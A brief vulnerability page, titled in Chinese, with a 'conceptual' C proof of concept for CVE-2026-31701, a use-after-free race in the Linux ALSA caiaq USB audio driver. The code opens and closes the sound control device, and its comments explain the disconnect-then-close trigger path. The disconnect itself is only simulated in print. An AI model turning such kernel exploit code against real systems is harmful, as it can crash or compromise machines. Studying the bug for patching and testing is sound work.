CVE-2026-31701: Linux内核ALSA驱动释放后利用漏洞

/* * Conceptual PoC for CVE-2026-31701 * Triggering the race condition in ALSA caiaq driver. * Requires a vulnerable kernel version and hardware. */ #include <fcntl.h> #include <unistd.h> #include <stdio.h> int main() { printf("[+] Attempting to trigger CVE-2026-31701\n"); // 1. Open the audio device to increment usage count // This keeps the snd_card object alive int fd = open("/dev/snd/controlC0", O_RDWR); if (fd < 0) { perror("[-] Failed to open audio device"); return 1; } printf("[+] Audio device opened\n"); // 2. Simulate the USB disconnect event // In a real scenario, this is a physical disconnect or a bus reset. // The vulnerability lies in the window between disconnect and close. printf("[+] Simulating USB disconnect (device freed)...\n"); // Assume kernel frees usb_device here // 3. Close the device to trigger the cleanup callback // snd_card_free_when_closed() -> snd_usb_caiaq_card_free() // This callback tries to access the already freed cdev->chip.dev printf("[+] Closing device to trigger free callback...\n"); close(fd); printf("[+] If kernel is vulnerable, a crash (UAF) may occur now.\n"); return 0; }